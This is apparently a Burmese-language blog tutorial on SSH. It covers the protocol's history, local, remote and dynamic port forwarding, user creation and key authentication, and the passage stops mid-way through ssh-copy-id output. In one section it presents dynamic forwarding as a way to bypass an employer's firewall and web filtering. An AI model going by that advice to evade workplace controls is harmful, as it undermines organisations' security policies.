ဒီ post မှာတော့ SSH အကြောင်း အနည်းငယ်မိတ်ဆက်ပေးပြီးတော့၊ SSH Tunneling ကိုဘယ်လို အသုံးပြုရသလဲဆိုတာကို ဆက်ပြီးတော့ ရှင်းပြသွားပါ့မယ်။

### SSH မိတ်ဆက်

SSH version 1.x ကိုစတင် တီထွင်ပေးခဲ့တာကတော့ Finland နိုင်ငံသား Tatu Ylönen ဆိုတဲ့ Helsinki University of Technology က ကျောင်းသား တစ်ယောက်ဖြစ်ပါတယ်။ ဖြစ်ပုံက သူရဲ့ remote session ကို network ပေါ်မှာ sniff လုပ်ပြီးတော့ login ကို hacked ခံရတာကနေစပါတယ်။ အဲဒီမှာ သူက unsecured protocol တွေဖြစ်တဲ့ rlogin, telnet နဲ့ ftp တွေကို အစားထိုးဖို့ အတွက် ကြံဆောင်ရင်း နဲ့ SSH ကို ၁၉၉၅ခုနှစ်မှာ freeware အနေနဲ့ စတင်မိတ်ဆက်ပေးလိုက်ပါတယ်။ နောက်ပိုင်းမှာတော့ Tatu Ylönen ကိုယ်တိုင်ပဲ proprietary software အနေနဲ့ ပြန်ပြောင်းထုတ်လာခဲ့ပါတယ်။ ၁၉၉၉ ခုနှစ်မှာတော့ Björn Grönvall ဆိုတဲ့ developer တစ်ယောက်က original ssh version ဖြစ်တဲ့ version 1.2.12 release ပေါ်မှာအခြေခံပြီးတော့ OSSH ကို အခြားသော developers တွေအတွက် ပြန်လည် မိတ်ဆက်ပေးခဲ့ပါတယ်။ သို့သော်လည်း OSSH ဟာ အချိန်တစ်ခုအထိသာ ရပ်တည်နိုင်ပြီးတော့ သူ့ project က ရပ်လို့သွားပြန်ပါတယ်။ ဒါနဲ့ပဲ OpenBSD မှာ အသုံးဖို့အတွက် OSSH ကနေ fork လုပ်ပြီးတော့ OpenSSH ကိုစတင်ခဲ့ကြပါတယ်။ အခုချိန်မှာတော့ OpenSSH ကို နေရာတကာမှာ အသုံးပြုလို့နေပါပြီ။ Microsoft ရဲ့ Windows 10 မှာတောင် April 2018 Update နဲ့အတူပါလာပါတယ်။ PowerShell မှာတော့ ၂၀၁၅ မှာကတည်းက port လုပ်ထားပါတယ်။ ဒါကတော့ SSH နဲ့ ပတ်သတ်တဲ့ စတင်ခဲ့ပုံ အကျဥ်းချုပ် ဖြစ်ပါတယ်။ လက်ရှိမှာတော့ SSH ဟာ security အတွက်အကောင်းဆုံး မဟုတ်တောင်မှ အပေါ့ဆုံး နဲ့ အလုပ်အဖြစ်ဆုံး ဖြစ်လို့ အသုံးပြုနေရဆဲပါ။ အရှင်းဆုံးပြောရရင်တော့ SSH ဟာ HTTP မှာ SSL ကို အသုံးပြုသလိုပဲ၊ TCP connection ကို secure လုပ်ပေးလိုက်တဲ့ သဘောမျိုးပါ။ SSH နဲ့ တွဲပြီးတော့ သုံးလို့ရတဲ့ utilities တွေရှိတဲ့အတွက် တော်တော်လေးတော့ အဆင်ပြေပါတယ်။

SSH ကို စာရေးသူ နေ့စဥ်နဲ့ အမျှအသုံးပြုရပါတယ်။ များသောအားဖြင့် Linux server တွေနဲ့ networking devices တွေကို remote management လုပ်ဖို့အတွက် ssh နဲ့ login လုပ်ရပါတယ်။ အခုနောက်ပိုင်းမှာတော့ Windows 2019 server မှာလည်း OpenSSH server ကို add-on feature အနေနဲ့ ပါလာပါတယ်။ နောက်တစ်ခုက server တွေပေါ်ကနေ file တွေ folder တွေကို copy/transfer လုပ်တဲ့ အခါမှာလည်း server ဘက်မှာဘာ service မှထက်ပြီးတော့ install လုပ်စရာ မလိုပဲ SSH ကို အသုံးပြုပြီးတော့ SCP သို့မဟုတ် SFTP ကို အသုံးပြုပါတယ်။ ဒီနှစ်ခုကတော့ စာရေးသူ နေ့စဥ်နဲ့ အမျှအသုံးပြုတဲ့ SSH နဲ့ပတ်သတ်တဲ့ user-case နှစ်မျိုးပါ။ တခြားသော SSH feature တွေဖြစ်တဲ့ RSA public / private key တွေကိုလည်း device login တွေအတွက် အသုံးပြုပါတယ်။ ဒီတော့ SSH ဟာ လူတိုင်းအတွက် အထူးအဆန်းတော့လည်း မဟုတ်ပါဘူး။ စာရေးသူအတွက် SSH ဟာ နေ့စဥ် workflow အတွက်တော့ မရှိမဖြစ်ပါ။ သို့သော် SSH ကိုအသုံးပြုပြီးတော့ tunneling / port forwarding ကို on-the-fly လုပ်လို့ရတာကို တကယ်မသိခဲ့တာ အမှန်ပါ။ BSD အကြောင်းရေးတုန်းလည်း စာဖတ်သူ တစ်ယောက်က SSH အကြောင်းလည်း အချိန်ရရင်ရေးပါအုံးဆိုလို့ ဒီ post မှာ ပထမပိုင်း အနေနဲ့ ထည့်သွင်းရေး ဖြစ်သွားတာပါ။ JB podcast မှာလည်း SSH tunneling အကြောင်းပြောတာ နားထောင်ဖြစ်တော့ ဘယ်လိုမျိုး အလုပ်လုပ်သလဲဆိုတာက သိချင်တာနဲ့ စတင်ရှာဖွေပြီးတော့ ဖတ်ရပါတော့တယ်။ ပြီးတော့ အားလုံးအတွက် အခုလိုသိသလောက်ကို ပြန်ပြီး မျှဝေလိုက်ရပါတယ်။

### SSH Tunneling ဆိုတာဘာလဲ

SSH ဆိုတာ unsecured channel တစ်ခုမှာ secure tunnel တစ်ခုကို တည်ဆောက်ပြီးတော့ remote management အတွက်အသုံးပြုတဲ့ protocol stack တစ်ခုပါ။ open လည်းဖြစ်၊ သုံးရတာလည်း အဆင်ပြေလို့ remote access အတွက် အသုံးပြုကြတာလည်းဖြစ်ပါတယ်။ SSH ကိုယ်တိုင်က tunneling protocol တစ်ခု ပမာ အသုံးပြုနိုင်တဲ့ feature တွေပါတာဖြစ်တဲ့ အတွက်လိုအပ်တဲ့ port ကို forward လုပ်နိုင်ပါတယ်။ SSH tunneling အတွက် port 22 ကို ကိုယ့် network အပြင်ဘက်နေ မြင်ရအောင်တော့ NAT နဲ့ firewall ကို ဖောက်ပေးထားရပါ့မယ်။ အရှင်းဆုံးပြောရရင်တော့ ကိုယ့်ရဲ့ home internet router မှာ port 22 ကို ကိုယ့်ရဲ့ network အထဲက Linux box ရဲ့ IP address နဲ့ port mapping လုပ်ပေးလိုက်ရုံပါပဲ။ အခြားလိုအပ်တဲ့ application တွေကို ကိုယ်လိုသလို SSH tunnel ထဲကနေ forward လုပ်ဖို့အတွက် အခုဆိုရင် ready ဖြစ်ပါပြီ။ ဥပမာ… remote desktop RDP ကို ကိုယ့်ရဲ့ home internet router ပေါ်မှာ ဒီအတိုင်း port 3389 ကို port forwarding လုပ်လို့ရပါတယ်။ သို့သော် RDP ကိုယ်တိုင်မှာက security အတွက် လိုအပ်တဲ့ defense mechanism မပါတဲ့အတွက် network ပေါ်မှာ sniff လုပ်လိုက်ရင် အလွယ်တကူ hack လို့ရနိုင်ပါတယ်။ တဘက်မှာတော့ SSH ကတော့ security အတွက် ဦးစားပေးတဲ့အတွက် RDP ထက်တော့ ပိုပြီးတော့ လုံခြုံစိတ်ချရတယ်လို့ ယူဆနိုင်ပါတယ်။ ဒါပေမယ့်လည်း Edward Snowden က SSH tunneling လို secure protocol တွေကို အသုံးပြုထားတာတောင် NSA က သူဘာလုပ်ထားသလဲဆိုတာကို ပြောနိုင်ပုံထောက်ရင်တော့ SSH လို secured protocol တွေတောင် အပြည့်အဝ လုံခြုံစိတ်ချနိုင်တယ်လို့ မဆိုနိုင်တော့ပါ။ မည်သို့ပင်ဖြစ်စေ… လက်ရှိမှာ secure channel အတွက်တော့ စာရေးသူတို့ SSH ကို တွင်တွင်ကျယ်ကျယ် အသုံးပြုနေရအုံးမှာပါ။

### SSH ကို အသုံးပြုပြီးတော့ tunneling သို့မဟုတ် port forwarding ကိုဘယ်လိုလုပ်မလဲ

SSH port forwarding ကိုလုပ်တဲ့အခါ လုပ်ပုံလုပ်နည်း ၃ မျိုးရှိပါတယ်။ ပထမတစ်ခုက local forwarding ဖြစ်ပြီးတော့၊ အသုံးပြုဖို့အတွက် -L switch ကို ssh command နဲ့ တွဲပြီးတော့ အသုံးပြုရပါတယ်။ ဒုတိယတစ်ခုက remote forwarding ဖြစ်ပါတယ်။ remote forwarding အတွက်တော့ ssh command မှာ -R switch ကို အသုံးပြုရပါတယ်။ နောက်ဆုံးတစ်ခုကတော့ dynamic forwarding သို့မဟုတ် SOCKS tunnel ဖြစ်ပြီးတော့ အရှေ့က နှစ်မျိုးနဲ့ အသုံးပြုနိုင်တဲ့ ပုံစံကနည်းနည်းတော့ ကွာပါတယ်။ အောက်မှာတော့ SSH tunnel တွေကို ဘယ်လို setup လုပ်သလဲ၊ ဘယ်လို အခါမျိုးမှာအသုံးပြုသလဲဆိုတာကို အသေးစိတ်ဆက်ရှင်းပါ့မယ်။

#### SSH local forwarding အလုပ်လုပ်ပုံ

ဒီတစ်ခုကတော့ရှင်းပါတယ်။ ကိုယ်ရဲ့ Linux box တစ်ခုမှာ SSH server ကို run ထားပြီး internet ကနေ အဲဒီ port 22 ကို မြင်ရအောင် home internet router ပေါ်မှာ Linux box ရဲ့ IP address နဲ့ port 22 ကို NATing သို့မဟုတ် port forwarding လုပ်ပေးထားတယ်ဆိုရင် ကိုယ်ဘယ်ကနေ မဆိုကိုယ် public IP address သို့မဟုတ် ကိုယ့်မှာ static public IP address မရှိဘူးဆိုရင် dynamic DNS name ကို အသုံးပြုလို့ရပါတယ်။ အောက်က command ကတော့ local forwarding အတွက် SSH command ကိုဘယ်လို အသုံးပြုသလဲဆိုတာပြထားတာပါ။

```
ssh -N -L 3389:10.10.2.100:3389 tyla.lin@123.1.2.210
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-21840186f9abb31984e940d4cbc22eadf4d6abca%2FSSH-Local-Forwarding.png?alt=media" alt=""><figcaption></figcaption></figure>

ပထမဆုံး ssh ဆိုတာကတော့ ssh protocol ကို အသုံးပြုမယ်၊ -N ဆိုတာက not executing ဘာ command ကိုမှ မ run ဘူးဆိုပြီးတော့ ပြောတာပါ။ ပုံမှန် ssh command ကို terminal ထဲမှာ run တဲ့အခါမှာ remote connection ကိုအောင်မြင်စွာ ချိတ်ဆက် ပြီးသွားတာနဲ့ remote host ရဲ့ prompt လေးပေါ်လာပါတယ်။ အဲ့ဒီ prompt ကိုမလိုချင်လို့ -N ဆိုတဲ့ switch ကိုအသုံးပြုထားတာဖြစ်ပါတယ်။ -L ဆိုတာကတော့ local forwarding လုပ်မယ်လို့ ပြောတာပါ။ ပထမဆုံး 3389 ဆိုတာက ကိုယ်ရဲ့ local machine မှာသုံးမယ့် port number ဖြစ်ပါတယ်။ 10.10.2.100 ဆိုတာကတော့ remote network မှာရှိတဲ့ ကိုယ်သွားချင်တဲ့ destination IP address ဖြစ်ပြီးတော့၊ နောက် 3389 ဆိုတာကတော့ အဲ့ဒီ remote network က destination host မှာကိုယ် map လုပ်မယ့် remote port number ပဲဖြစ်ပါတယ်။ နောက်ဆုံးအပိုင်းဖြစ်တဲ့ tyla.lin\@123.1.2.210 ဆိုတာကတော့ စာရေးသူရဲ့ ssh အတွက် username နဲ့ remote ssh server ဖြစ်တဲ့ 123.1.2.210 ကို authenticate လုပ်မယ်ဆိုပြီးတော့ ပြောတာပါ။ ပုံမှန် remote host ကို ssh နဲ့ login ဝင်မယ်ဆိုရင် ssh tyla.lin\@123.1.2.210 ဆိုပြီးတော့ command ရိုက်ထည့်လိုက်ရုံပါပဲ။ အခုက ssh ကိုအသုံးပြုပြီးတော့ ကိုယ်လိုချင်တဲ့ port ကို forward လုပ်ပေးတဲ့ သဘောပါ။ လုံခြုံရေးမကောင်းတဲ့ RDP လို port မျိုးကို internet ပေါ်မှာ surface ပေးမယ့်အစား ssh tunneling လုပ်ပြီးတော့ အခုဆိုရင် RDP ကို ကိုယ်လိုချင်တဲ့ remote host ပေါ်ကို ssh server ကနေတဆင့် local forwarding လုပ်သွားတာပဲဖြစ်ပါတယ်။ တကယ်လို့ ကိုယ့်ရဲ့ RDP server က remote ssh server နဲ့ အတူတူပဲဆိုရင် command က အခုလိုဖြစ်သွားပါတယ်။

```
ssh -N -L 3389:localhost:3389 tyla.lin@123.1.2.210
```

အဲ့ဒီ localhost ဆိုတာက remote host ကိုဆိုလိုရင်းဖြစ်ပါတယ်။၊ ကိုယ့် local machine ရဲ့ localhost ကိုပြောတာမဟုတ်ပါဘူး။ အဲ့ဒီ *LocalPort:RemoteHost:RemotePort* ဆိုတဲ့ format ကိုကိုယ် ကြိုက်သလို သင့်သလို အသုံးပြုနိုင်ပါတယ်။ ထက်ပြီးတော့ ထည့်လိုရတဲ့ switch တွေတော့ အများကြီးရှိပါတယ်။ အကုန်လုံးကို တော့ မရှင်းလိုတော့ပါဘူး။

အခုဆိုရင် ကိုယ်ရဲ့ အိမ်က RDP server ကို internet ပေါ်မှာ expose လုပ်စရာမလိုတော့ပဲနဲ့ ssh port 22 ကို port forwarding လုပ်ထားရုံနဲ့ ကိုယ်လိုတဲ့ service ရဲ့ port number တွေကို လိုသလို local port forwarding လုပ်သွားလို့ရပါပြီ။ အထက်က ssh command ကိုရိုက်ထည့်ပြီးသွားတာနဲ့ terminal ထဲက command prompt က -N switch ကြောင့် ရပ်နေသလိုဖြစ်နေပါလိမ့်မယ်။ အဲ့ဒါဆိုရင် ကိုယ်ရဲ့ ssh tunnel က စတင်အသုံးပြုလို့ရပါပြီ။ အခုဆိုရင် RDP server ဖြစ်တဲ့ IP address 10.10.2.100 ကို RDP နဲ့ စတင် ဝင်လို့ ရပါပြီ။ SSH tunnel ထဲကနေသွားတဲ့အတွက် တိုက်ရိုက် RDP ဝင်တာထက်တော့ အနည်းငယ် နှေးပါလိမ့်မယ်။

#### SSH remote forwarding အလုပ်လုပ်ပုံ

Remote forwarding ကတော့ အသုံးပြုတဲ့ပုံ အနည်းငယ်ကွာသွားပါတယ်။ ဘယ်လိုအခါမျိုးမှာ အသုံးပြုသလဲဆိုတော့၊ ဥပမာဆိုပါတော့ ကိုယ်က ကိုယ်ရဲ့ laptop ပေါ်မှာ work in progress ဖြစ်နေတဲ့ web application project တစ်ခုအတွက် local machine မှာပဲ web server ကို run ပြီးတော့ အလုပ် လုပ်နေတယ်ဆိုပါတော့။ ကိုယ့်ရဲ့ လက်ရှိ web app ကို အခြားသူတွေကိုပြလို့ရအောင်လို့ public internet မှာ အစမ်းသဘောမျိုးနဲ့ တင်ချင်တယ်။ သို့သော် အလုပ်မှာက firewall ကို ကိုယ်က manage မလုပ်ဘူးလို့ ဆိုကြပါတော့။ ဒါပေမယ့် အလုပ်က web server ကိုတော့ ssh နဲ့ login ဝင်နိုင်တဲ့ account တစ်ခုရှိတယ်လို့ ဆိုရင် အလုပ်ဖြစ်ပါပြီ။ အဲ့ဒီ web server ကတော့ internet public IP တစ်ခုနဲ့ လက်ရှိ production sites တွေကို run ထားတယ်ဆိုကြပါတော့။ ဒါဆိုရင် အစမ်းသဘောမျိုး ကိုယ်ရဲ့ web app ကို အဲ့ဒီ web server ကနေပြီးတော့ internet ပေါ်မှာ expose လုပ်လို့ရနိုင်ပါပြီ။ အခြေခံအားဖြင့် ကိုယ်ရဲ့ laptop က localhost မှာ run ထားတဲ့ web app နဲ့ web server ကြားထဲမှာ secure tunnel တည်ဆောက်ပေးပြီးတော့ ssh remote forwarding လုပ်ပေးလိုက်ရုံပါပဲ။ တခါတလေ reverse forwarding လို့လည်းခေါ်ပါတယ်။ အောက်မှာ ssh remote forwarding ကို terminal မှာ အခုလိုက်ရိုက်ထည့်လိုက်ရုံပါပဲ။

```
ssh -N -R 8080:localhost:80 tyla.lin@123.1.2.210
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-19cd5f13dab274e6d562a806240ad3202e9da104%2FSSH-Remote-Forwarding.png?alt=media" alt=""><figcaption></figcaption></figure>

အထက်က ssh command ကိုရိုက်ထည့်လိုက်ပြီးတော့ ကိုယ်ရဲ့ SSH login password ကို ရိုက်ထည့်လိုက်ပြီးသွားရင်တော့ ssh tunneling က အဆင့်သင့်ဖြစ်ပါပြီ။ အခုဆိုရင် web browser ထဲမှာ [www.itmatic101.com:8080](http://www.itmatic101.com:8080) လို့ရိုက်ထည့်လိုက်ရင် ကိုယ့်ရဲ့ workstation မှာ run ထားတဲ့ development environment က web site ကို ssh tunnel ကနေတဆင့် public internet မှာ စတင် access လုပ်လို့ရပါပြီ။ ဒီနေရာမှာ [www.itmatic101.com](http://www.itmatic101.com) ဆိုတဲ့ web site မှာ port 8080 ကို အခြားဘယ်နေရာမှာမှ အသုံးပြုမထားသေးဘူးလို့ ယူဆပါတယ်။ အဲ့ဒီ port မအားရင်တော့ အခြားသော port number ကို သင့်သလိုအသုံးပြုလို့ရပါတယ်။ ဒီနည်းနဲ့ သင့်ရဲ့ web app ကို တခြားဘာမှ ထွေထွေထူးထူး setup လုပ်စရာမလိုပဲနဲ့ internet မှာ အစမ်း သဘောမျိုး အလွယ်တကူ တင်လို့ရပါတယ်။ ပြီးရင် ssh tunnel ကို Control + C နဲ့ရပ်လိုက်တာနဲ့ ကိုယ်ရဲ့ web app ကို internet ပေါ်မှာ ဆက်ပြီးတော့ expose မလုပ်တော့ပါဘူး။ အရမ်းကို ရိုးရှင်းတဲ့ ssh ရဲ့ technique တစ်ခုပါ။

#### SSH dynamic forwarding အလုပ်လုပ်ပုံ

နောက်ဆုံးတစ်ခုကတော့ ssh dynamic forwarding ဖြစ်ပါတယ်။ ဒီတစ်ခုကတော့ -D switch ကို အသုံးပြုပြီးတော့ ကိုယ်ရဲ့ ssh server ကို SOCKS proxy server အနေနဲ့ အသုံးနိုင်ပါတယ်။ ထားပါတော့ ကိုယ့်အလုပ်မှာ Facebook တို့ YouTube တို့ကိုအလုပ်က computer ပေါ်မှာ သုံးလို့ မရအောင် firewall/web filtering တို့လုပ်ထားတယ်ဆိုပါတော့။ ကိုယ်က ကိုယ့်အိမ်မှာ ssh server တစ်ခုကို internet ကနေတဆင့် ဝင်လို့ရအောင် ကိုယ့် home internet router မှာ port forwarding လုပ်ထားတယ်ဆိုရင်ပဲ၊ ကိုယ့်ရဲ့ ssh server ကို SOCKS proxy အနေနဲ့ အသုံးပြုလို့ရပါပြီ။ SSH dynamic forwarding လုပ်ချင်တယ်ဆိုရင်တော့ အောက်က ssh command ကို terminal မှာရိုက်ထည့်လိုက်ရုံပါပဲ။

```
ssh -D 8080 -f -C -q -N tyla.lin@123.1.2.210
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3b34e80a47052f902c4cd842fb770ee623c5f780%2FSSH-Dynamic-Forwarding-1024x239.png?alt=media" alt=""><figcaption></figcaption></figure>

အထက်က ssh command မှာ အသုံးပြုထားတဲ့ switch တွေကတော့၊ -D ဆိုတာ dynamic forwarding လုပ်မယ်လို့ ဆိုလိုရင်ဖြစ်ပြီး၊ -f ဆိုတာကတော့ background မှာ process ကို fork ပါလို့ ဆိုလိုပါတယ်။ -C ဆိုတာက data ကို link ကနေ မပို့ခင် compress လုပ်မယ်။ -q ဆိုတာ quiet mode မှာ ssh ကို run ဖို့ပြောတာပါ။ နောက်ဆုံး -N ကတော့ ဘာ command မှ ssh session မှာ မ run ဖို့ကို ဆိုလိုတာပါ။ ssh login ကို authenticate လုပ်ပြီးသွားတာနဲ့ ကိုယ့်အလုပ်က စက်ရဲ့ browser ပေါ်မှာ proxy setting ကိုအောက်ကအတိုင်း configure လုပ်ပေးလိုက်ရုံပါပဲ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c04649156e97519c0321fb0c8304297bb5d8a452%2FSOCKS-Proxy-Config.png?alt=media" alt=""><figcaption></figcaption></figure>

အခုဆိုရင်တော့ ကိုယ့်အလုပ်က firewall/web filtering ကို bypass လုပ်ပြီးတော့ ကိုယ့်အိမ်က SSH server ကို proxy အနေနဲ့ အသုံးပြုလို့ရတဲ့အတွက် ကိုယ့် web browser ထဲမှာ သုံးသမျှ traffic အားလုံးဟာ အဲ့ဒီ ssh server ရဲ့ WAN IP ကနေပဲ ခုန်ပြီးတော့ ထွက်သွားမှာဖြစ်ပါတယ်။ ဘာ proxy server မှ setup လုပ်စရာမလိုပဲနဲ့ အခုလို ssh dynamic forwarding လုပ်လိုက်ရုံနဲ့ အားလုံး အဆင့်သင့်ဖြစ်သွားမှာဖြစ်ပါတယ်။ ရိုးရှင်းသလောက် အစွမ်းထက်တဲ့ ssh tunneling ရဲ့ technique တွေဖြစ်ပါ။ SSH tunneling နဲ့ အခြားအခြားသော လုပ်လို့ရတဲ့ နည်းလမ်းတွေအများကြီးရှိပါတယ်။ ဒီ post မှာတော့ လက်တွေ့ အသုံးပြုနိုင်တဲ့ technique သုံးခုလောက်ကို ပြထားတာပဲဖြစ်ပါတယ်။

အခုလောက်ဆို ssh ဟာဘယ်လောက် အသုံးတည့်ပြီးတော့ powerful ဖြစ်သလဲဆိုတာ ရိပ်စားမိလောက်ပါပြီ။ With great power comes with great responsibility ဆိုတဲ့အတိုင်း ssh ရဲ့ port 22 ကို နေရာတကာ port forwarding လုပ်တာမျိုးတော့ best practice မဟုတ်ပါဘူး။ အကယ်လို့ ကိုယ့်ရဲ့ ssh login ဟာ compromise ဖြစ်သွားတယ်ဆိုရင် hacker တွေအတွက် လုပ်ချင်တာလုပ်လို့ရတဲ့ backdoor တစ်ခုဖြစ်သွားနိုင်ပါတယ်။ အဲ့ဒါကြောင့် Fail2Ban လို addtional security layer နောက်တစ်ခုထားနိုင်ရင်တော့ ssh အတွက်စိတ်အချရဆုံး ဖြစ်မှာပါ။ ဒီ post ကိုတော့ ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။ နောက် post တွေမှာလည်း လမ်းကြုံရင် ssh နဲ့ သူ့ရဲ့ အသုံးတည့်တဲ့ဟာလေးတွေကို ထည့်ပြီးတော့ ရှင်းပြသွားပါ့မယ်။


# အခြေခံ SSH workflow များ

Linux ကိုစပြီး အသုံးပြုတော့ အရင်ဆုံးလေ့လာရတာက ssh နဲ့ remote server တခုထဲကို ဘယ်လိုမျိုးဝင်ရသလဲဆိုတာပါပဲ။ ပုံမှန်အားဖြင့် Windows admin တစ်ယောက်အနေနဲ့ ssh အကြောင်းကို သိစရာမလိုပါ။ Linux နဲ့ BSD လိုမျိုး Unix-like operating system တွေမှာတော့ မသိမဖြစ်၊ မရှိမဖြစ်လိုအပ်တဲ့ tool တခုပါ။ အလုပ်မှာပဲဖြစ်ဖြစ်၊ အိမ်မှာပဲဖြစ်ဖြစ် ကိုယ် manage လုပ်ရတဲ့ environments တွေကို ssh နဲ့ပဲ remote access လုပ်ရပါတယ်။ သို့သော်... စာရေးသူအတွက်တော့ ssh နဲ့ပတ်သတ်ပြီးတော့ မသိတာလေးတွေ အခုအချိန်ထိရှိနေတတ်ပါတယ်။ ကိုယ်သုံးနေကြ workflow မဟုတ်တဲ့အခါမှာ ssh နဲ့ပတ်သတ်လို့ အသစ်အသစ်တွေကို မကြာခဏထပ်မံလေ့လာ ဖြစ်တဲ့အခါတွေရှိပါတယ်။ ကိုယ်ဘယ်လိုမျိုး အသုံးပြုသလဲပေါ်မူတည်ပြီးတော့ အသုံးတည့်ပုံတွေ မတူတာကိုလည်း လုပ်ငန်းခွင်မှာ လုပ်ဖော်ကိုင်ဖက်တွေနဲ့ စကားစပ်တဲ့အခါမှ သိရှိရပြန်ပါတယ်။ ဒီတော့ စာရေးသူ အနေနဲ့ ssh ကိုကိုယ်အနေနဲ့ဆို ဘယ်လိုမျိုးသုံးသလဲဆိုတာကို မှတ်တမ်းတင်ထားရင်ကောင်းမှလို့ တွေးမိပြီး ဒီ blog post ကိုပြန်ရေးဖြစ်ပါတယ်။

## SSH authentication အမျိုးအစားများ

SSH authentication အကြောင်းကို မရှင်းခင်၊ Linux server ပေါ်မှာ login ဝင်ဖို့အတွက် user account တွေကို အောက်မှာပြထားတဲ့သလိုမျိုး အရင်ဆုံးဖန်တီးဖို့လိုပါလိမ့်မယ်။ သက်ဆိုင်ရာ user account ကို ဖန်တီးပြီးရင်နောက်တဆင့်မှာ authentication လုပ်တဲ့ ပုံစံကို ဆက်ရှင်းပါ့မယ်။

```bash
# simply adding a new user
vagrant@ssh1:~$ sudo useradd -m tyla
vagrant@ssh1:~$ sudo passwd tyla
New password: 
Retype new password: 
passwd: password updated successfully
vagrant@ssh1:~$ sudo usermod -aG sudo tyla

# adding a new user with more options
vagrant@ssh1:~$ sudo useradd -m -c "Tyla Lin" -s /bin/bash -G sudo tyla
vagrant@ssh1:~$ sudo passwd tyla
New password: 
Retype new password: 
passwd: password updated successfully
```

### Password authentication

Password authentication ဆိုတာကတော့ ရှင်းပါတယ်။ အထက်မှာပြထားတဲ့အတိုင်း user account ကို ဖန်တီးပြီးတာနဲ့ အဲ့ဒီ account ကိုသုံးပြီး ssh နဲ့ remote access လုပ်လို့ရပါပြီ။ အသုံးပြုရမယ့် command က `ssh tyla@ssh1` သို့မဟုတ် `ssh tyla@192.168.56.11` ဆိုပြီးဝင်လိုက်ရုံပါပဲ။ ပြထားတဲ့ command ကိုသုံးမယ်ဆိုရင် DNS server၊ ဒါမှမဟုတ် `/etc/hosts` ကနေ name resolution လုပ်ဖို့လိုပါလိမ့်မယ်။ ဒီနည်းက remote server ကို ssh နဲ့ဝင်ဖို့ အဆင်ပြေပေမယ့် လုံခြုံရေးအတွက်မကောင်းပါဘူး။ Password ဆိုတာကအခြားသူတယောက်ရသွားတာနဲ့ ပြီးသွားပါပြီ။ ဒါ့အပြင် key logger တွေသုံးပြီး password ကိုရနိုင်သလို၊ brute force နည်းနဲ့လည်း မှန်းဆလို့ရနိုင်ပြန်ပါတယ်။ Password တခုတည်းနဲ့ ဘယ် system ကိုမှ လုံခြုံအောင်လုပ်လို့မရပါ။ ဒါကြောင့်လည်း Linux admin တွေဟာ တတ်နိုင်သလောက် password authentication ကမသုံးပဲနဲ့၊ နောက်တနည်း ဖြစ်တဲ့ public/private asymmetric key authentication ကိုသုံးကြတာများပါတယ်။

### Public Key authentication

အထက်မှက password authentication ရဲ့ မလုံခြုံပုံကိုရှင်းပြပြီးနောက်၊ ssh မှာစိတ်ဝင်စားဖို့ကောင်းတဲ့ cryptographic key authentication အကြောင်းကို ဆက်လက်ရှင်းလိုပါတယ်။ Key authentication ကိုနေရာတော်တော်များမှာ အသုံးကြပါတယ်။ စာရေးသူ နေ့စဉ်အလုပ်ခွင်မှရော၊ အိမ်မှာပါ ဒီနည်းနဲ့ပဲ ssh ကို setup လုပ်ပါတယ်။ လုပ်ရတဲ့ လုပ်ငန်းစဉ်ကအောက်ပါအတိုင်းပဲဖြစ်ပါတယ်။

1. ပထမဆုံးအနေနဲ့ ကိုယ့်ရဲ့ local computer မှာ ssh key pair အရင် generate လုပ်ရပါ့မယ်။

```bash
vagrant@ssh1:~$ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/vagrant/.ssh/id_ed25519): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/vagrant/.ssh/id_ed25519
Your public key has been saved in /home/vagrant/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:ovaa09/0cSMMfdPGrnYhlX1Uj0pCdAUVPU4YWtpZaig vagrant@ssh1
The key's randomart image is:
+--[ED25519 256]--+
|         .o o**+o|
|         . .*.+++|
|         E.+.=+.=|
|          .+.. *o|
|      . S . o + =|
|     . .   o o = |
|    o.    . + + o|
|   ..o.  o . +.o.|
|    oo... . .... |
+----[SHA256]-----+
```

2. အထက်မှာပြထားသလိုမျိုး ssh public/private key pair တခုကို /home/vagrant/.ssh/ မှာသွားပြီး generate လုပ်ပေးပါတယ်။ ကိုယ့်ရဲ့ private key ကို passphrase ထည့်ပြီး လုံခြုံရေးပိုကောင်းအောင်လုပ်ရနိုင်ပါသေးတယ်။ နောက်အဆင့်အနေနဲ့ အဲ့ဒီထဲက public key ကို destination host သို့မဟုတ် server ရဲ့ \~/.ssh/authorized\_keys ထဲမှာသွားပြီး ထည့်ပေးရပါလိမ့်မယ်။ .pub နဲ့ဆုံးတဲ့ file က public key ဖြစ်ပါတယ်။ နောက်တခုက private key ဖြစ်ပြီး၊ ကိုယ်ရဲ့ local machine ပေါ်မှာပဲ လုံခြုံအောင်သိမ်းထားရမှာပါ။
3. Public key ကို remote machine ပေါ်မှာထည့်ဖို့ အတွက်က ကိုယ့်မှာအရင်ဆုံး password နဲ့ ဝင်လို့ရဖို့တော့လိုပါလိမ့်မယ်။ စာရေးသူတို့ လုပ်ငန်းခွင်မှာတော့ developer တွေရဲ့ public key တွေကို machine ကို build လုပ်ကတည်း ကြိုပြီး cloudinit သို့မဟုတ်၊ အခြားသော နည်းတခုခုနဲ့ automation workflow မှာကြိုပြီးပြင်ဆင်ရပါတယ်။ သို့သော် အခုဒီမှာတော့ normal workflow တခုကိုပဲ သုံးပြသွားပါ့မယ်။ အသုံးမယ့် command က `ssh-copy-id` ဖြစ်ပါတယ်။

```bash
vagrant@ssh1:~$ ssh-copy-id -i .ssh/id_ed25519.pub vagrant@192.168.56.12
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: ".ssh/id_ed25519.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
